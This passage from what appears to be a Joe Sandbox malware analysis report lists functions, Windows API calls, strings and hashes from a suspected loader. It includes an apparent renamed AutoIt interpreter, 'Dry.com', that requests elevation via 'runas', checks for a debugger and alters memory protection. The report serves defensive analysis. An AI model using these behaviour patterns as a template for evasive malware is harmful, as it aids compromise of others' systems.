Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: Dry.comPID: 7548, Parent PID: 7324COMMON

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	50

Executed Functions

Function 00AE5FC8 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00AE5FF7

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

GetCurrentProcess.KERNEL32(?,00B7DC2C,00000000,?,?), ref: 00AE6123
IsWow64Process.KERNEL32(00000000,?,?), ref: 00AE612A
LoadLibraryA.KERNEL32(kernel32.dll,?,?), ref: 00AE6155
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00AE6167
GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00AE6175
FreeLibrary.KERNEL32(00000000,?,?), ref: 00AE617C
GetSystemInfo.KERNEL32(?,?,?), ref: 00AE61A1

Strings

|O, xrefs: 00B250F7
GetNativeSystemInfo, xrefs: 00AE6161
kernel32.dll, xrefs: 00AE6150

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 0f6fcc92ba2a20fabef609d6620fb6cd8a30bc52598ccd8c4b79200eea571f23
Instruction ID: c521f79a860acdcba9365125f69d10951f9693bcfded6255e30cd1ddb8743c8a
Opcode Fuzzy Hash: 0f6fcc92ba2a20fabef609d6620fb6cd8a30bc52598ccd8c4b79200eea571f23
Instruction Fuzzy Hash: 77A1833290A3D4DFC722CB797C451997FE4AB36380B084A99D485A7362CEFD4548CB3A

Function 00AE338B Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,00AE3368,?), ref: 00AE33BB
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00AE3368,?), ref: 00AE33CE
GetFullPathNameW.KERNEL32(00007FFF,?,?,00BB2418,00BB2400,?,?,?,?,?,?,00AE3368,?), ref: 00AE343A

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

Part of subcall function 00AE425F: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00AE3462,00BB2418,?,?,?,?,?,?,?,00AE3368,?), ref: 00AE42A0

SetCurrentDirectoryW.KERNEL32(?,00000001,00BB2418,?,?,?,?,?,?,?,00AE3368,?), ref: 00AE34BB
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00B23CB0
SetCurrentDirectoryW.KERNEL32(?,00BB2418,?,?,?,?,?,?,?,00AE3368,?), ref: 00B23CF1
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00BA31F4,00BB2418,?,?,?,?,?,?,?,00AE3368), ref: 00B23D7A
ShellExecuteW.SHELL32(00000000,?,?), ref: 00B23D81

Part of subcall function 00AE34D3: GetSysColorBrush.USER32(0000000F), ref: 00AE34DE
Part of subcall function 00AE34D3: LoadCursorW.USER32(00000000,00007F00), ref: 00AE34ED
Part of subcall function 00AE34D3: LoadIconW.USER32(00000063), ref: 00AE3503
Part of subcall function 00AE34D3: LoadIconW.USER32(000000A4), ref: 00AE3515
Part of subcall function 00AE34D3: LoadIconW.USER32(000000A2), ref: 00AE3527
Part of subcall function 00AE34D3: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00AE353F
Part of subcall function 00AE34D3: RegisterClassExW.USER32(?), ref: 00AE3590

Part of subcall function 00AE35B3: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00AE35E1
Part of subcall function 00AE35B3: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00AE3602
Part of subcall function 00AE35B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE3368,?), ref: 00AE3616
Part of subcall function 00AE35B3: ShowWindow.USER32(00000000,?,?,?,?,?,?,00AE3368,?), ref: 00AE361F

Part of subcall function 00AE396B: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00AE3A3C

Strings

It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00B23CAA
runas, xrefs: 00B23D75
AutoIt, xrefs: 00B23CA5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__wcslen
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 683915450-2030392706
Opcode ID: fa8b8e122fc4862d871b53c4fb47eb43224e9a70139268be077a5dbed925d318
Instruction ID: 5e1658da4263b4fe6962db2b24db3e9f920e8f57fb0f680c846bd99eb67af5c6
Opcode Fuzzy Hash: fa8b8e122fc4862d871b53c4fb47eb43224e9a70139268be077a5dbed925d318
Instruction Fuzzy Hash: A951E472108380AFDB05EF619D159BB7BF89F95780F040968F586532A2DFA48A89C722

Function 00B4DC54 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE5851: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00AE55D1,?,?,00B24B76,?,?,00000100,00000000,00000000,CMDLINE), ref: 00AE5871

Part of subcall function 00B4EAB0: GetFileAttributesW.KERNEL32(?,00B4D840), ref: 00B4EAB1

FindFirstFileW.KERNEL32(?,?), ref: 00B4DCCB
DeleteFileW.KERNEL32(?,?,?,?), ref: 00B4DD1B
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00B4DD2C
FindClose.KERNEL32(00000000), ref: 00B4DD43
FindClose.KERNEL32(00000000), ref: 00B4DD4C

Strings

\*.*, xrefs: 00B4DC9D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 352073451f256dbe76c94f8974bff7fac95039fa1b6491e23cc15a4d7bc830ba
Instruction ID: 48a3dbadb40ed695dc3073a67e457f3d903275889cb78589c73930176ff2e7d4
Opcode Fuzzy Hash: 352073451f256dbe76c94f8974bff7fac95039fa1b6491e23cc15a4d7bc830ba
Instruction Fuzzy Hash: F6314931418385AFC301EF60DE958AFB7E8AE95304F404E6DF4D583192EF21DA0ADB62

Function 00B4DD87 Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00B4DDAC
Process32FirstW.KERNEL32(00000000,?), ref: 00B4DDBA
Process32NextW.KERNEL32(00000000,?), ref: 00B4DDDA
CloseHandle.KERNEL32(00000000), ref: 00B4DE87

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 88288cef7c0393e2f1d20231e7f4a07899336538d56b857f90a6d736cc4940b9
Instruction ID: 43e55cfbe8da4a182751b5f6539e5a66fb4459cbbd0923c6677916059d0b9d07
Opcode Fuzzy Hash: 88288cef7c0393e2f1d20231e7f4a07899336538d56b857f90a6d736cc4940b9
Instruction Fuzzy Hash: 3E318D711083419FD701EF64CC85AAFBBF8EF99340F44096DF585871A1EB719A49CBA2

Function 00AFFFE0 Relevance: 3.1, APIs: 2, Instructions: 94nativeCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00B0007D
NtProtectVirtualMemory.NTDLL ref: 00B0008F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: CloseHandleMemoryProtectVirtual
String ID:
API String ID: 2407445808-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 016821a7a4eaf3ea01914a28e57ff8ba16058255711124d2be1977b0e283b40b
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 9731C170A14109DBC718EE58D490B69FBE6FB49300F2486E5E409CB292E632EDC1CB80

Function 00AEEE50 Relevance: 21.6, APIs: 14, Instructions: 614windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00AEEF07
timeGetTime.WINMM ref: 00AEF107
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEF228
TranslateMessage.USER32(?), ref: 00AEF27B
DispatchMessageW.USER32(?), ref: 00AEF289
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00AEF29F
Sleep.KERNEL32(0000000A), ref: 00AEF2B1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 477dea36bd41e6eb8de95a834a12feb00fcb04a8762b8d10e89a970c6c9e43b3
Instruction ID: a2768a0480d47868677ae7a634d92db1576d80d3531ae40395409fbc3e21bba5
Opcode Fuzzy Hash: 477dea36bd41e6eb8de95a834a12feb00fcb04a8762b8d10e89a970c6c9e43b3
Instruction Fuzzy Hash: 6832F430604782EFD728CF25C884BAABBE5FF81704F24466DF55997291DB71E984CB82

Function 00AE3624 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00AE3657
RegisterClassExW.USER32(00000030), ref: 00AE3681
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AE3692
InitCommonControlsEx.COMCTL32(?), ref: 00AE36AF
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00AE36BF
LoadIconW.USER32(000000A9), ref: 00AE36D5
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00AE36E4

Strings

AutoIt v3 GUI, xrefs: 00AE3673
+, xrefs: 00AE3640
TaskbarCreated, xrefs: 00AE3687
0, xrefs: 00AE3639

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: 422d4074771172113554033af56af69053cbf7930a5f1f1e35ce1a8fb8842635
Instruction ID: b644bc7dc6c4bde5702a5b1108a0d204fa1f93a5b2ce08b73ec053df91c5bc83
Opcode Fuzzy Hash: 422d4074771172113554033af56af69053cbf7930a5f1f1e35ce1a8fb8842635
Instruction Fuzzy Hash: 7621C3B1D01258AFDB00DFA4EC89B9DBBB4FB08750F00521AF659A72A0DBB545848F95

Function 00B209DB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2071A: CreateFileW.KERNEL32(00000000,00000000,?,00B20A84,?,?,00000000,?,00B20A84,00000000,0000000C), ref: 00B20737

GetLastError.KERNEL32 ref: 00B20AEF
__dosmaperr.LIBCMT ref: 00B20AF6
GetFileType.KERNEL32(00000000), ref: 00B20B02
GetLastError.KERNEL32 ref: 00B20B0C
__dosmaperr.LIBCMT ref: 00B20B15
CloseHandle.KERNEL32(00000000), ref: 00B20B35
CloseHandle.KERNEL32(?), ref: 00B20C7F
GetLastError.KERNEL32 ref: 00B20CB1
__dosmaperr.LIBCMT ref: 00B20CB8

Strings

H, xrefs: 00B20C3D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 32077f801906410839d2546dba3ee206f6ffeb62cfebee1af04726126a0d1bef
Instruction ID: 0de6ec0e3de2d0c2d3104d1b2e9da7aa81bb70953e043299549c97b03bf6e70d
Opcode Fuzzy Hash: 32077f801906410839d2546dba3ee206f6ffeb62cfebee1af04726126a0d1bef
Instruction Fuzzy Hash: 63A12832A201198FDF29EF68E895BAD7BE1EB06324F140199F815DB2D2DB319C12CB51

Function 00AE52A7 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AE5594: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,?,?,00B24B76,?,?,00000100,00000000,00000000,CMDLINE,?,?,00000001,00000000), ref: 00AE55B2

Part of subcall function 00AE5238: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00AE525A

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00AE53C4
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00B24BFD
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00B24C3E
RegCloseKey.ADVAPI32(?), ref: 00B24C80
_wcslen.LIBCMT ref: 00B24CE7
_wcslen.LIBCMT ref: 00B24CF6

Strings

Software\AutoIt v3\AutoIt, xrefs: 00AE53BA
\Include\, xrefs: 00AE5381
\, xrefs: 00B24CFC
Include, xrefs: 00B24BF4, 00B24C35

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 8e1e72da456e569b57baf57d3c266e848a5f3567403eed2570e8cf59f63613f9
Instruction ID: 21576dba45e4308e7e972356a0e34de934f569556fefb20058c55ccecaf73101
Opcode Fuzzy Hash: 8e1e72da456e569b57baf57d3c266e848a5f3567403eed2570e8cf59f63613f9
Instruction Fuzzy Hash: 5B719C715143019FC300EF2AE9819ABBBF8FF58780F80496DF444871A0DFB19A49CB65

Function 00AE34D3 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00AE34DE
LoadCursorW.USER32(00000000,00007F00), ref: 00AE34ED
LoadIconW.USER32(00000063), ref: 00AE3503
LoadIconW.USER32(000000A4), ref: 00AE3515
LoadIconW.USER32(000000A2), ref: 00AE3527
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00AE353F
RegisterClassExW.USER32(?), ref: 00AE3590

Part of subcall function 00AE3624: GetSysColorBrush.USER32(0000000F), ref: 00AE3657
Part of subcall function 00AE3624: RegisterClassExW.USER32(00000030), ref: 00AE3681
Part of subcall function 00AE3624: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00AE3692
Part of subcall function 00AE3624: InitCommonControlsEx.COMCTL32(?), ref: 00AE36AF
